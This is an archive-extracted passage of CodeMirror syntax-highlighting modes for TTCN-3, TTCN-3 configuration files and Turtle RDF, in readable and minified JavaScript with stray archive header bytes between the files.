        booleanConsts = parserConfig.booleanConsts || {},
        otherConsts   = parserConfig.otherConsts || {},

        types = parserConfig.types || {},
        visibilityModifiers = parserConfig.visibilityModifiers || {},
        templateMatch = parserConfig.templateMatch || {},
        multiLineStrings = parserConfig.multiLineStrings,
        indentStatements = parserConfig.indentStatements !== false;
    var isOperatorChar = /[+\-*&@=<>!\/]/;
    var curPunc;

    function tokenBase(stream, state) {
      var ch = stream.next();

      if (ch == '"' || ch == "'") {
        state.tokenize = tokenString(ch);
        return state.tokenize(stream, state);
      }
      if (/[\[\]{}\(\),;\\:\?\.]/.test(ch)) {
        curPunc = ch;
        return "punctuation";
      }
      if (ch == "#"){
        stream.skipToEnd();
        return "atom preprocessor";
      }
      if (ch == "%"){
        stream.eatWhile(/\b/);
        return "atom ttcn3Macros";
      }
      if (/\d/.test(ch)) {
        stream.eatWhile(/[\w\.]/);
        return "number";
      }
      if (ch == "/") {
        if (stream.eat("*")) {
          state.tokenize = tokenComment;
          return tokenComment(stream, state);
        }
        if (stream.eat("/")) {
          stream.skipToEnd();
          return "comment";
        }
      }
      if (isOperatorChar.test(ch)) {
        if(ch == "@"){
          if(stream.match("try") ||
stream.match("catch")
              || stream.match("lazy")){
            return "keyword";
          }
        }
        stream.eatWhile(isOperatorChar);
        return "operator";
      }
      stream.eatWhile(/[\w\$_\xa1-\uffff]/);
      var cur = stream.current();

      if (keywords.propertyIsEnumerable(cur)) return "keyword";
      if (builtin.propertyIsEnumerable(cur)) return "builtin";

      if (timerOps.propertyIsEnumerable(cur)) return "def
timerOps";
      if (configOps.propertyIsEnumerable(cur)) return "def
configOps";
      if (verdictOps.propertyIsEnumerable(cur)) return "def
verdictOps";
      if (portOps.propertyIsEnumerable(cur)) return "def
portOps";
      if (sutOps.propertyIsEnumerable(cur)) return "def sutOps";
      if (functionOps.propertyIsEnumerable(cur)) return "def
functionOps";

      if (verdictConsts.propertyIsEnumerable(cur)) return "string
verdictConsts";
      if (booleanConsts.propertyIsEnumerable(cur)) return "string
booleanConsts";
      if (otherConsts.propertyIsEnumerable(cur)) return "string
otherConsts";

      if (types.propertyIsEnumerable(cur)) return "builtin
types";
      if (visibilityModifiers.propertyIsEnumerable(cur))
        return "builtin visibilityModifiers";
      if (templateMatch.propertyIsEnumerable(cur)) return "atom
templateMatch";

      return "variable";
    }

    function tokenString(quote) {
      return function(stream, state) {
        var escaped = false, next, end = false;
        while ((next = stream.next()) != null) {
          if (next == quote && !escaped){
            var afterQuote = stream.peek();
            //look if the character after the quote is like the B in
'10100010'B
            if (afterQuote){
              afterQuote = afterQuote.toLowerCase();
              if(afterQuote == "b" || afterQuote == "h"
|| afterQuote == "o")
                stream.next();
            }
            end = true; break;
          }
          escaped = !escaped && next == "\\";
        }
        if (end || !(escaped || multiLineStrings))
          state.tokenize = null;
        return "string";
      };
    }

    function tokenComment(stream, state) {
      var maybeEnd = false, ch;
      while (ch = stream.next()) {
        if (ch == "/" && maybeEnd) {
          state.tokenize = null;
          break;
        }
        maybeEnd = (ch == "*");
      }
      return "comment";
    }

    function Context(indented, column, type, align, prev) {
      this.indented = indented;
      this.column = column;
      this.type = type;
      this.align = align;
      this.prev = prev;
    }

    function pushContext(state, col, type) {
      var indent = state.indented;
      if (state.context && state.context.type ==
"statement")
        indent = state.context.indented;
      return state.context = new Context(indent, col, type, null,
state.context);
    }

    function popContext(state) {
      var t = state.context.type;
      if (t == ")" || t == "]" || t == "}")
        state.indented = state.context.indented;
      return state.context = state.context.prev;
    }

    //Interface
    return {
      startState: function(basecolumn) {
        return {
          tokenize: null,
          context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
          indented: 0,
          startOfLine: true
        };
      },

      token: function(stream, state) {
        var ctx = state.context;
        if (stream.sol()) {
          if (ctx.align == null) ctx.align = false;
          state.indented = stream.indentation();
          state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;
        curPunc = null;
        var style = (state.tokenize || tokenBase)(stream, state);
        if (style == "comment") return style;
        if (ctx.align == null) ctx.align = true;

        if ((curPunc == ";" || curPunc == ":" ||
curPunc == ",")
            && ctx.type == "statement"){
          popContext(state);
        }
        else if (curPunc == "{") pushContext(state,
stream.column(), "}");
        else if (curPunc == "[") pushContext(state,
stream.column(), "]");
        else if (curPunc == "(") pushContext(state,
stream.column(), ")");
        else if (curPunc == "}") {
          while (ctx.type == "statement") ctx =
popContext(state);
          if (ctx.type == "}") ctx = popContext(state);
          while (ctx.type == "statement") ctx =
popContext(state);
        }
        else if (curPunc == ctx.type) popContext(state);
        else if (indentStatements &&
            (((ctx.type == "}" || ctx.type == "top")
&& curPunc != ';') ||
            (ctx.type == "statement" && curPunc ==
"newstatement")))
          pushContext(state, stream.column(), "statement");

        state.startOfLine = false;

        return style;
      },

      electricChars: "{}",
      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      lineComment: "//",
      fold: "brace"
    };
  });

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  function def(mimes, mode) {
    if (typeof mimes == "string") mimes = [mimes];
    var words = [];
    function add(obj) {
      if (obj) for (var prop in obj) if (obj.hasOwnProperty(prop))
        words.push(prop);
    }

    add(mode.keywords);
    add(mode.builtin);
    add(mode.timerOps);
    add(mode.portOps);

    if (words.length) {
      mode.helperType = mimes[0];
      CodeMirror.registerHelper("hintWords", mimes[0], words);
    }

    for (var i = 0; i < mimes.length; ++i)
      CodeMirror.defineMIME(mimes[i], mode);
  }

  def(["text/x-ttcn", "text/x-ttcn3",
"text/x-ttcnpp"], {
    name: "ttcn",
    keywords: words("activate address alive all alt altstep and and4b
any" +
    " break case component const continue control deactivate" +
    " display do else encode enumerated except exception" +
    " execute extends extension external for from function" +
    " goto group if import in infinity inout interleave" +
    " label language length log match message mixed mod" +
    " modifies module modulepar mtc noblock not not4b nowait" +
    " of on optional or or4b out override param pattern port" +
    " procedure record recursive rem repeat return runs select" +
    " self sender set signature system template testcase to" +
    " type union value valueof var variant while with xor
xor4b"),
    builtin: words("bit2hex bit2int bit2oct bit2str char2int char2oct
encvalue" +
    " decomp decvalue float2int float2str hex2bit hex2int" +
    " hex2oct hex2str int2bit int2char int2float int2hex" +
    " int2oct int2str int2unichar isbound ischosen ispresent" +
    " isvalue lengthof log2str oct2bit oct2char oct2hex oct2int"
+
    " oct2str regexp replace rnd sizeof str2bit str2float" +
    " str2hex str2int str2oct substr unichar2int unichar2char" +
    " enum2int"),
    types: words("anytype bitstring boolean char charstring default
float" +
    " hexstring integer objid octetstring universal verdicttype
timer"),
    timerOps: words("read running start stop timeout"),
    portOps: words("call catch check clear getcall getreply halt raise
receive" +
    " reply send trigger"),
    configOps: words("create connect disconnect done kill killed map
unmap"),
    verdictOps: words("getverdict setverdict"),
    sutOps: words("action"),
    functionOps: words("apply derefers refers"),

    verdictConsts: words("error fail inconc none pass"),
    booleanConsts: words("true false"),
    otherConsts: words("null NULL omit"),

    visibilityModifiers: words("private public friend"),
    templateMatch: words("complement ifpresent subset superset
permutation"),
    multiLineStrings: true
  });
});
PKN��[�4]bb
codemirror/mode/ttcn/ttcn.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return
b}a.defineMode("ttcn",(function(a,b){function c(a,b){var
c=a.next();if('"'==c||"'"==c)return
b.tokenize=d(c),b.tokenize(a,b);if(/[\[\]{}\(\),;\\:\?\.]/.test(c))return
i=c,"punctuation";if("#"==c)return
a.skipToEnd(),"atom preprocessor";if("%"==c)return
a.eatWhile(/\b/),"atom ttcn3Macros";if(/\d/.test(c))return
a.eatWhile(/[\w\.]/),"number";if("/"==c){if(a.eat("*"))return
b.tokenize=e,e(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}if(A.test(c))return"@"==c&&(a.match("try")||a.match("catch")||a.match("lazy"))?"keyword":(a.eatWhile(A),"operator");a.eatWhile(/[\w\$_\xa1-\uffff]/);var
f=a.current();return
k.propertyIsEnumerable(f)?"keyword":l.propertyIsEnumerable(f)?"builtin":m.propertyIsEnumerable(f)?"def
timerOps":o.propertyIsEnumerable(f)?"def
configOps":p.propertyIsEnumerable(f)?"def
verdictOps":n.propertyIsEnumerable(f)?"def
portOps":q.propertyIsEnumerable(f)?"def
sutOps":r.propertyIsEnumerable(f)?"def
functionOps":s.propertyIsEnumerable(f)?"string
verdictConsts":t.propertyIsEnumerable(f)?"string
booleanConsts":u.propertyIsEnumerable(f)?"string
otherConsts":v.propertyIsEnumerable(f)?"builtin
types":w.propertyIsEnumerable(f)?"builtin
visibilityModifiers":x.propertyIsEnumerable(f)?"atom
templateMatch":"variable"}function d(a){return
function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){var
g=b.peek();g&&("b"!=(g=g.toLowerCase())&&"h"!=g&&"o"!=g||b.next()),f=!0;break}e=!e&&"\\"==d}return(f||!e&&!y)&&(c.tokenize=null),"string"}}function
e(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=null;break}d="*"==c}return"comment"}function
f(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
g(a,b,c){var d=a.indented;return
a.context&&"statement"==a.context.type&&(d=a.context.indented),a.context=new
f(d,b,c,null,a.context)}function h(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
i,j=a.indentUnit,k=b.keywords||{},l=b.builtin||{},m=b.timerOps||{},n=b.portOps||{},o=b.configOps||{},p=b.verdictOps||{},q=b.sutOps||{},r=b.functionOps||{},s=b.verdictConsts||{},t=b.booleanConsts||{},u=b.otherConsts||{},v=b.types||{},w=b.visibilityModifiers||{},x=b.templateMatch||{},y=b.multiLineStrings,z=!1!==b.indentStatements,A=/[+\-*&@=<>!\/]/;return{startState:function(a){return{tokenize:null,context:new
f((a||0)-j,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
d=b.context;if(a.sol()&&(null==d.align&&(d.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;i=null;var e=(b.tokenize||c)(a,b);if("comment"==e)return
e;if(null==d.align&&(d.align=!0),";"!=i&&":"!=i&&","!=i||"statement"!=d.type)if("{"==i)g(b,a.column(),"}");else
if("["==i)g(b,a.column(),"]");else
if("("==i)g(b,a.column(),")");else
if("}"==i){for(;"statement"==d.type;)d=h(b);for("}"==d.type&&(d=h(b));"statement"==d.type;)d=h(b)}else
i==d.type?h(b):z&&(("}"==d.type||"top"==d.type)&&";"!=i||"statement"==d.type&&"newstatement"==i)&&g(b,a.column(),"statement");else
h(b);return
b.startOfLine=!1,e},electricChars:"{}",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"brace"}})),(function(b,c){function
d(a){if(a)for(var b in
a)a.hasOwnProperty(b)&&e.push(b)}"string"==typeof
b&&(b=[b]);var
e=[];d(c.keywords),d(c.builtin),d(c.timerOps),d(c.portOps),e.length&&(c.helperType=b[0],a.registerHelper("hintWords",b[0],e));for(var
f=0;f<b.length;++f)a.defineMIME(b[f],c)})(["text/x-ttcn","text/x-ttcn3","text/x-ttcnpp"],{name:"ttcn",keywords:b("activate
address alive all alt altstep and and4b any break case component const
continue control deactivate display do else encode enumerated except
exception execute extends extension external for from function goto group
if import in infinity inout interleave label language length log match
message mixed mod modifies module modulepar mtc noblock not not4b nowait of
on optional or or4b out override param pattern port procedure record
recursive rem repeat return runs select self sender set signature system
template testcase to type union value valueof var variant while with xor
xor4b"),builtin:b("bit2hex bit2int bit2oct bit2str char2int
char2oct encvalue decomp decvalue float2int float2str hex2bit hex2int
hex2oct hex2str int2bit int2char int2float int2hex int2oct int2str
int2unichar isbound ischosen ispresent isvalue lengthof log2str oct2bit
oct2char oct2hex oct2int oct2str regexp replace rnd sizeof str2bit
str2float str2hex str2int str2oct substr unichar2int unichar2char
enum2int"),types:b("anytype bitstring boolean char charstring
default float hexstring integer objid octetstring universal verdicttype
timer"),timerOps:b("read running start stop
timeout"),portOps:b("call catch check clear getcall getreply halt
raise receive reply send trigger"),configOps:b("create connect
disconnect done kill killed map unmap"),verdictOps:b("getverdict
setverdict"),sutOps:b("action"),functionOps:b("apply
derefers refers"),verdictConsts:b("error fail inconc none
pass"),booleanConsts:b("true
false"),otherConsts:b("null NULL
omit"),visibilityModifiers:b("private public
friend"),templateMatch:b("complement ifpresent subset superset
permutation"),multiLineStrings:!0})}));PKN��[Hd�!��$codemirror/mode/ttcn-cfg/ttcn-cfg.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("ttcn-cfg", function(config,
parserConfig) {
    var indentUnit = config.indentUnit,
        keywords = parserConfig.keywords || {},
        fileNCtrlMaskOptions = parserConfig.fileNCtrlMaskOptions || {},
        externalCommands = parserConfig.externalCommands || {},
        multiLineStrings = parserConfig.multiLineStrings,
        indentStatements = parserConfig.indentStatements !== false;
    var isOperatorChar = /[\|]/;
    var curPunc;

    function tokenBase(stream, state) {
      var ch = stream.next();
      if (ch == '"' || ch == "'") {
        state.tokenize = tokenString(ch);
        return state.tokenize(stream, state);
      }
      if (/[:=]/.test(ch)) {
        curPunc = ch;
        return "punctuation";
      }
      if (ch == "#"){
        stream.skipToEnd();
        return "comment";
      }
      if (/\d/.test(ch)) {
        stream.eatWhile(/[\w\.]/);
        return "number";
      }
      if (isOperatorChar.test(ch)) {
        stream.eatWhile(isOperatorChar);
        return "operator";
      }
      if (ch == "["){
        stream.eatWhile(/[\w_\]]/);
        return "number sectionTitle";
      }

      stream.eatWhile(/[\w\$_]/);
      var cur = stream.current();
      if (keywords.propertyIsEnumerable(cur)) return "keyword";
      if (fileNCtrlMaskOptions.propertyIsEnumerable(cur))
        return "negative fileNCtrlMaskOptions";
      if (externalCommands.propertyIsEnumerable(cur)) return "negative
externalCommands";

      return "variable";
    }

    function tokenString(quote) {
      return function(stream, state) {
        var escaped = false, next, end = false;
        while ((next = stream.next()) != null) {
          if (next == quote && !escaped){
            var afterNext = stream.peek();
            //look if the character if the quote is like the B in
'10100010'B
            if (afterNext){
              afterNext = afterNext.toLowerCase();
              if(afterNext == "b" || afterNext == "h"
|| afterNext == "o")
                stream.next();
            }
            end = true; break;
          }
          escaped = !escaped && next == "\\";
        }
        if (end || !(escaped || multiLineStrings))
          state.tokenize = null;
        return "string";
      };
    }

    function Context(indented, column, type, align, prev) {
      this.indented = indented;
      this.column = column;
      this.type = type;
      this.align = align;
      this.prev = prev;
    }
    function pushContext(state, col, type) {
      var indent = state.indented;
      if (state.context && state.context.type ==
"statement")
        indent = state.context.indented;
      return state.context = new Context(indent, col, type, null,
state.context);
    }
    function popContext(state) {
      var t = state.context.type;
      if (t == ")" || t == "]" || t == "}")
        state.indented = state.context.indented;
      return state.context = state.context.prev;
    }

    //Interface
    return {
      startState: function(basecolumn) {
        return {
          tokenize: null,
          context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
          indented: 0,
          startOfLine: true
        };
      },

      token: function(stream, state) {
        var ctx = state.context;
        if (stream.sol()) {
          if (ctx.align == null) ctx.align = false;
          state.indented = stream.indentation();
          state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;
        curPunc = null;
        var style = (state.tokenize || tokenBase)(stream, state);
        if (style == "comment") return style;
        if (ctx.align == null) ctx.align = true;

        if ((curPunc == ";" || curPunc == ":" ||
curPunc == ",")
            && ctx.type == "statement"){
          popContext(state);
        }
        else if (curPunc == "{") pushContext(state,
stream.column(), "}");
        else if (curPunc == "[") pushContext(state,
stream.column(), "]");
        else if (curPunc == "(") pushContext(state,
stream.column(), ")");
        else if (curPunc == "}") {
          while (ctx.type == "statement") ctx =
popContext(state);
          if (ctx.type == "}") ctx = popContext(state);
          while (ctx.type == "statement") ctx =
popContext(state);
        }
        else if (curPunc == ctx.type) popContext(state);
        else if (indentStatements && (((ctx.type == "}"
|| ctx.type == "top")
            && curPunc != ';') || (ctx.type ==
"statement"
            && curPunc == "newstatement")))
          pushContext(state, stream.column(), "statement");
        state.startOfLine = false;
        return style;
      },

      electricChars: "{}",
      lineComment: "#",
      fold: "brace"
    };
  });

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i)
      obj[words[i]] = true;
    return obj;
  }

  CodeMirror.defineMIME("text/x-ttcn-cfg", {
    name: "ttcn-cfg",
    keywords: words("Yes No LogFile FileMask ConsoleMask
AppendFile" +
    " TimeStampFormat LogEventTypes SourceInfoFormat" +
    " LogEntityName LogSourceInfo DiskFullAction" +
    " LogFileNumber LogFileSize MatchingHints Detailed" +
    " Compact SubCategories Stack Single None Seconds" +
    " DateTime Time Stop Error Retry Delete TCPPort KillTimer" +
    " NumHCs UnixSocketsEnabled LocalAddress"),
    fileNCtrlMaskOptions: words("TTCN_EXECUTOR TTCN_ERROR
TTCN_WARNING" +
    " TTCN_PORTEVENT TTCN_TIMEROP TTCN_VERDICTOP" +
    " TTCN_DEFAULTOP TTCN_TESTCASE TTCN_ACTION" +
    " TTCN_USER TTCN_FUNCTION TTCN_STATISTICS" +
    " TTCN_PARALLEL TTCN_MATCHING TTCN_DEBUG" +
    " EXECUTOR ERROR WARNING PORTEVENT TIMEROP" +
    " VERDICTOP DEFAULTOP TESTCASE ACTION USER" +
    " FUNCTION STATISTICS PARALLEL MATCHING DEBUG" +
    " LOG_ALL LOG_NOTHING ACTION_UNQUALIFIED" +
    " DEBUG_ENCDEC DEBUG_TESTPORT" +
    " DEBUG_UNQUALIFIED DEFAULTOP_ACTIVATE" +
    " DEFAULTOP_DEACTIVATE DEFAULTOP_EXIT" +
    " DEFAULTOP_UNQUALIFIED ERROR_UNQUALIFIED" +
    " EXECUTOR_COMPONENT EXECUTOR_CONFIGDATA" +
    " EXECUTOR_EXTCOMMAND EXECUTOR_LOGOPTIONS" +
    " EXECUTOR_RUNTIME EXECUTOR_UNQUALIFIED" +
    " FUNCTION_RND FUNCTION_UNQUALIFIED" +
    " MATCHING_DONE MATCHING_MCSUCCESS" +
    " MATCHING_MCUNSUCC MATCHING_MMSUCCESS" +
    " MATCHING_MMUNSUCC MATCHING_PCSUCCESS" +
    " MATCHING_PCUNSUCC MATCHING_PMSUCCESS" +
    " MATCHING_PMUNSUCC MATCHING_PROBLEM" +
    " MATCHING_TIMEOUT MATCHING_UNQUALIFIED" +
    " PARALLEL_PORTCONN PARALLEL_PORTMAP" +
    " PARALLEL_PTC PARALLEL_UNQUALIFIED" +
    " PORTEVENT_DUALRECV PORTEVENT_DUALSEND" +
    " PORTEVENT_MCRECV PORTEVENT_MCSEND" +
    " PORTEVENT_MMRECV PORTEVENT_MMSEND" +
    " PORTEVENT_MQUEUE PORTEVENT_PCIN" +
    " PORTEVENT_PCOUT PORTEVENT_PMIN" +
    " PORTEVENT_PMOUT PORTEVENT_PQUEUE" +
    " PORTEVENT_STATE PORTEVENT_UNQUALIFIED" +
    " STATISTICS_UNQUALIFIED STATISTICS_VERDICT" +
    " TESTCASE_FINISH TESTCASE_START" +
    " TESTCASE_UNQUALIFIED TIMEROP_GUARD" +
    " TIMEROP_READ TIMEROP_START TIMEROP_STOP" +
    " TIMEROP_TIMEOUT TIMEROP_UNQUALIFIED" +
    " USER_UNQUALIFIED VERDICTOP_FINAL" +
    " VERDICTOP_GETVERDICT VERDICTOP_SETVERDICT" +
    " VERDICTOP_UNQUALIFIED WARNING_UNQUALIFIED"),
    externalCommands: words("BeginControlPart EndControlPart
BeginTestCase" +
    " EndTestCase"),
    multiLineStrings: true
  });
});PKN��[��D^NN(codemirror/mode/ttcn-cfg/ttcn-cfg.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return
b}a.defineMode("ttcn-cfg",(function(a,b){function c(a,b){var
c=a.next();if('"'==c||"'"==c)return
b.tokenize=d(c),b.tokenize(a,b);if(/[:=]/.test(c))return
h=c,"punctuation";if("#"==c)return
a.skipToEnd(),"comment";if(/\d/.test(c))return
a.eatWhile(/[\w\.]/),"number";if(o.test(c))return
a.eatWhile(o),"operator";if("["==c)return
a.eatWhile(/[\w_\]]/),"number
sectionTitle";a.eatWhile(/[\w\$_]/);var e=a.current();return
j.propertyIsEnumerable(e)?"keyword":k.propertyIsEnumerable(e)?"negative
fileNCtrlMaskOptions":l.propertyIsEnumerable(e)?"negative
externalCommands":"variable"}function d(a){return
function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){var
g=b.peek();g&&("b"!=(g=g.toLowerCase())&&"h"!=g&&"o"!=g||b.next()),f=!0;break}e=!e&&"\\"==d}return(f||!e&&!m)&&(c.tokenize=null),"string"}}function
e(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
f(a,b,c){var d=a.indented;return
a.context&&"statement"==a.context.type&&(d=a.context.indented),a.context=new
e(d,b,c,null,a.context)}function g(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
h,i=a.indentUnit,j=b.keywords||{},k=b.fileNCtrlMaskOptions||{},l=b.externalCommands||{},m=b.multiLineStrings,n=!1!==b.indentStatements,o=/[\|]/;return{startState:function(a){return{tokenize:null,context:new
e((a||0)-i,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
d=b.context;if(a.sol()&&(null==d.align&&(d.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;h=null;var e=(b.tokenize||c)(a,b);if("comment"==e)return
e;if(null==d.align&&(d.align=!0),";"!=h&&":"!=h&&","!=h||"statement"!=d.type)if("{"==h)f(b,a.column(),"}");else
if("["==h)f(b,a.column(),"]");else
if("("==h)f(b,a.column(),")");else
if("}"==h){for(;"statement"==d.type;)d=g(b);for("}"==d.type&&(d=g(b));"statement"==d.type;)d=g(b)}else
h==d.type?g(b):n&&(("}"==d.type||"top"==d.type)&&";"!=h||"statement"==d.type&&"newstatement"==h)&&f(b,a.column(),"statement");else
g(b);return
b.startOfLine=!1,e},electricChars:"{}",lineComment:"#",fold:"brace"}})),a.defineMIME("text/x-ttcn-cfg",{name:"ttcn-cfg",keywords:b("Yes
No LogFile FileMask ConsoleMask AppendFile TimeStampFormat LogEventTypes
SourceInfoFormat LogEntityName LogSourceInfo DiskFullAction LogFileNumber
LogFileSize MatchingHints Detailed Compact SubCategories Stack Single None
Seconds DateTime Time Stop Error Retry Delete TCPPort KillTimer NumHCs
UnixSocketsEnabled
LocalAddress"),fileNCtrlMaskOptions:b("TTCN_EXECUTOR TTCN_ERROR
TTCN_WARNING TTCN_PORTEVENT TTCN_TIMEROP TTCN_VERDICTOP TTCN_DEFAULTOP
TTCN_TESTCASE TTCN_ACTION TTCN_USER TTCN_FUNCTION TTCN_STATISTICS
TTCN_PARALLEL TTCN_MATCHING TTCN_DEBUG EXECUTOR ERROR WARNING PORTEVENT
TIMEROP VERDICTOP DEFAULTOP TESTCASE ACTION USER FUNCTION STATISTICS
PARALLEL MATCHING DEBUG LOG_ALL LOG_NOTHING ACTION_UNQUALIFIED DEBUG_ENCDEC
DEBUG_TESTPORT DEBUG_UNQUALIFIED DEFAULTOP_ACTIVATE DEFAULTOP_DEACTIVATE
DEFAULTOP_EXIT DEFAULTOP_UNQUALIFIED ERROR_UNQUALIFIED EXECUTOR_COMPONENT
EXECUTOR_CONFIGDATA EXECUTOR_EXTCOMMAND EXECUTOR_LOGOPTIONS
EXECUTOR_RUNTIME EXECUTOR_UNQUALIFIED FUNCTION_RND FUNCTION_UNQUALIFIED
MATCHING_DONE MATCHING_MCSUCCESS MATCHING_MCUNSUCC MATCHING_MMSUCCESS
MATCHING_MMUNSUCC MATCHING_PCSUCCESS MATCHING_PCUNSUCC MATCHING_PMSUCCESS
MATCHING_PMUNSUCC MATCHING_PROBLEM MATCHING_TIMEOUT MATCHING_UNQUALIFIED
PARALLEL_PORTCONN PARALLEL_PORTMAP PARALLEL_PTC PARALLEL_UNQUALIFIED
PORTEVENT_DUALRECV PORTEVENT_DUALSEND PORTEVENT_MCRECV PORTEVENT_MCSEND
PORTEVENT_MMRECV PORTEVENT_MMSEND PORTEVENT_MQUEUE PORTEVENT_PCIN
PORTEVENT_PCOUT PORTEVENT_PMIN PORTEVENT_PMOUT PORTEVENT_PQUEUE
PORTEVENT_STATE PORTEVENT_UNQUALIFIED STATISTICS_UNQUALIFIED
STATISTICS_VERDICT TESTCASE_FINISH TESTCASE_START TESTCASE_UNQUALIFIED
TIMEROP_GUARD TIMEROP_READ TIMEROP_START TIMEROP_STOP TIMEROP_TIMEOUT
TIMEROP_UNQUALIFIED USER_UNQUALIFIED VERDICTOP_FINAL VERDICTOP_GETVERDICT
VERDICTOP_SETVERDICT VERDICTOP_UNQUALIFIED
WARNING_UNQUALIFIED"),externalCommands:b("BeginControlPart
EndControlPart BeginTestCase
EndTestCase"),multiLineStrings:!0})}));PKN��[>/����
codemirror/mode/turtle/turtle.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("turtle", function(config) {
  var indentUnit = config.indentUnit;
  var curPunc;

  function wordRegexp(words) {
    return new RegExp("^(?:" + words.join("|") +
")$", "i");
  }
  var ops = wordRegexp([]);
  var keywords = wordRegexp(["@prefix", "@base",
"a"]);
  var operatorChars = /[*+\-<>=&|]/;

  function tokenBase(stream, state) {
    var ch = stream.next();
    curPunc = null;
    if (ch == "<" && !stream.match(/^[\s\u00a0=]/,
false)) {
      stream.match(/^[^\s\u00a0>]*>?/);
      return "atom";
    }
    else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenLiteral(ch);
      return state.tokenize(stream, state);
    }
    else if (/[{}\(\),\.;\[\]]/.test(ch)) {
      curPunc = ch;
      return null;
    }
    else if (ch == "#") {
      stream.skipToEnd();
      return "comment";
    }
    else if (operatorChars.test(ch)) {
      stream.eatWhile(operatorChars);
      return null;
    }
    else if (ch == ":") {
          return "operator";
        } else {
      stream.eatWhile(/[_\w\d]/);
      if(stream.peek() == ":") {
        return "variable-3";
      } else {
             var word = stream.current();

             if(keywords.test(word)) {
                        return "meta";
             }

             if(ch >= "A" && ch <= "Z") {
                    return "comment";
                 } else {
                        return "keyword";
                 }
      }
      var word = stream.current();
      if (ops.test(word))
        return null;
      else if (keywords.test(word))
        return "meta";
      else
        return "variable";
    }
  }

  function tokenLiteral(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      return "string";
    };
  }

  function pushContext(state, type, col) {
    state.context = {prev: state.context, indent: state.indent, col: col,
type: type};
  }
  function popContext(state) {
    state.indent = state.context.indent;
    state.context = state.context.prev;
  }

  return {
    startState: function() {
      return {tokenize: tokenBase,
              context: null,
              indent: 0,
              col: 0};
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (state.context && state.context.align == null)
state.context.align = false;
        state.indent = stream.indentation();
      }
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);

      if (style != "comment" && state.context &&
state.context.align == null && state.context.type !=
"pattern") {
        state.context.align = true;
      }

      if (curPunc == "(") pushContext(state, ")",
stream.column());
      else if (curPunc == "[") pushContext(state, "]",
stream.column());
      else if (curPunc == "{") pushContext(state, "}",
stream.column());
      else if (/[\]\}\)]/.test(curPunc)) {
        while (state.context && state.context.type ==
"pattern") popContext(state);
        if (state.context && curPunc == state.context.type)
popContext(state);
      }
      else if (curPunc == "." && state.context &&
state.context.type == "pattern") popContext(state);
      else if (/atom|string|variable/.test(style) && state.context)
{
        if (/[\}\]]/.test(state.context.type))
          pushContext(state, "pattern", stream.column());
        else if (state.context.type == "pattern" &&
!state.context.align) {
          state.context.align = true;
          state.context.col = stream.column();
        }
      }

      return style;
    },

    indent: function(state, textAfter) {
      var firstChar = textAfter && textAfter.charAt(0);
      var context = state.context;
      if (/[\]\}]/.test(firstChar))
        while (context && context.type == "pattern")
context = context.prev;

      var closing = context && firstChar == context.type;
      if (!context)
        return 0;
      else if (context.type == "pattern")
        return context.col;
      else if (context.align)
        return context.col + (closing ? 0 : 1);
      else
        return context.indent + (closing ? 0 : indentUnit);
    },

    lineComment: "#"
  };
});

CodeMirror.defineMIME("text/turtle", "turtle");

});
PKN��[�Dy��$codemirror/mode/turtle/turtle.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
